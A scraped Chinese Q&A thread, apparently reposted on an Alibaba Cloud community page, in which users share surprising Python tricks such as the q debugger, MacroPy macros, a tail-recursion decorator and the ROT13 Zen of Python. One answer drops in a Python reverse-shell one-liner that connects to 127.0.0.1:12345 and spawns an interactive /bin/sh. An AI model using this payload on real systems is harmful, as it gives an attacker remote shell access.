你見過哪些令你瞠目結舌的 Python 代碼技巧?

來源:互聯網
上載者:User
基友問題
你見過哪些讓你瞠目結舌的JAVA代碼技巧? - Java
你見過哪些令你瞠目結舌的C/C++代碼技巧? - 互連網
你見過哪些令你瞠目結舌的前端設計? - 程式員
你見過哪些令你瞠目結舌的Javascript代碼機技巧? - 程式員
你見過哪些令你瞠目結舌的爬蟲技巧? - 電腦

神經問題,非程式員歡迎一起來回答
你見過哪些令你瞠目結舌的神邏輯? - 生活
你見過哪些令你瞠目結舌的黑料理?
你見過哪些令你瞠目結舌的逗逼?
還有更多的,歡迎大家一起系列

回複內容:

當初看到這個還是覺得蠻瞠目結舌的:https://pypi.python.org/pypi/q
Quick-and-dirty debugging output for tired programmers
正如介紹所說的,Quick-and-dirty,QUICK-and-DIRTY。第一眼看起來,只是覺得這個很方便啊,可是仔細想想怎麼實現,真是。。。全是黑科技。。。

Q 的最簡單用法,列印 foo 的值:
import q; q(foo)
讓我覺得瞠目結舌的要數這個Python庫了,真是將import hook用到了極致:
lihaoyi/macropy · GitHub

你問我這個有什麼屌的?
來來來,看幾個例子:

更好用的lambda運算式
from macropy.quick_lambda import macros, f, _print map(f[_ + 1], [1, 2, 3])    # [2, 3, 4]print reduce(f[_ * _], [1, 2, 3]) # 6
我記得當初研究python對遞迴支援有多爛的時候搜到過有人通過裝飾器用一種很hack的手法,把 尾遞迴的 幀清了。然而現在還是看不懂它寫的是什麼鬼。
code:
import sys    class TailRecurseException:    def __init__(self, args, kwargs):      self.args = args      self.kwargs = kwargs    def tail_call_optimized(g):    """    This function decorates a function with tail call    optimization. It does this by throwing an exception    if it is it's own grandparent, and catching such    exceptions to fake the tail call optimization.        This function fails if the decorated    function recurses in a non-tail context.    """    def func(*args, **kwargs):      f = sys._getframe()      if f.f_back and f.f_back.f_back and f.f_back.f_back.f_code == f.f_code:        raise TailRecurseException(args, kwargs)      else:        while 1:          try:            return g(*args, **kwargs)          except TailRecurseException, e:            args = e.args            kwargs = e.kwargs    func.__doc__ = g.__doc__    return func
謝邀,我今天無恥一回
Dwarfartisan/pyparsec · GitHub

不許打!打也不許打臉!先讓我反彈個shell冷靜一下
import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",12345))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"]);
之前在GitHub看到有人總結了一些python的tricks
brennerm/PyTricks · GitHub >>> a = [],
>>> a
([],)>>> a = [[1,2],[3,4],[5,6]]
>>> sum(a,[])
[1, 2, 3, 4, 5, 6]

Python 真的好神奇 : )
再補充一個,Python切片:
>>> l = [1,2,3]
>>> l[1:1] = 'a'
>>> l
[1, 'a', 2, 3]

Python分組list:
>>> a = [1, 2, 3, 4, 5, 6]
>>> zip(*([iter(a)] * 2))
[(1, 2), (3, 4), (5, 6)] 前幾年剛學python的時候在一個項目裡做了幾個小嘗試。

用元編程動態產生類,產生以後動態載入卸載。

把類當函數用。把函數當變數用。

花樣玩容器。

順手把其他幾種EE工程師們寫出來的五花八門的指令碼封裝了一個整整齊齊。

注釋齊全,結構簡明。不是效能瓶頸,所以效能不在考慮範圍內。

結果被“資深工程師”罵成了狗,苦逼地回到了C++。其實只是他沒有用過C++以外的任何一種語言,他的邏輯是C++是所有語言的基礎,他看不懂的代碼就不是好代碼。→_→下面這段居然特麼混進了標準庫裡,令我瞠目結舌
s = """Gur Mra bs Clguba, ol Gvz CrgrefOrnhgvshy vf orggre guna htyl.Rkcyvpvg vf orggre guna vzcyvpvg.Fvzcyr vf orggre guna pbzcyrk.Pbzcyrk vf orggre guna pbzcyvpngrq.Syng vf orggre guna arfgrq.Fcnefr vf orggre guna qrafr.Ernqnovyvgl pbhagf.Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf.Nygubhtu cenpgvpnyvgl orngf chevgl.Reebef fubhyq arire cnff fvyragyl.Hayrff rkcyvpvgyl fvyraprq.Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg.Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu.Abj vf orggre guna arire.Nygubhtu arire vf bsgra orggre guna *evtug* abj.Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn.Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""d = {}for c in (65, 97):    for i in range(26):        d[chr(i+c)] = chr((i+13) % 26 + c)print "".join([d.get(c, c) for c in s])
  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.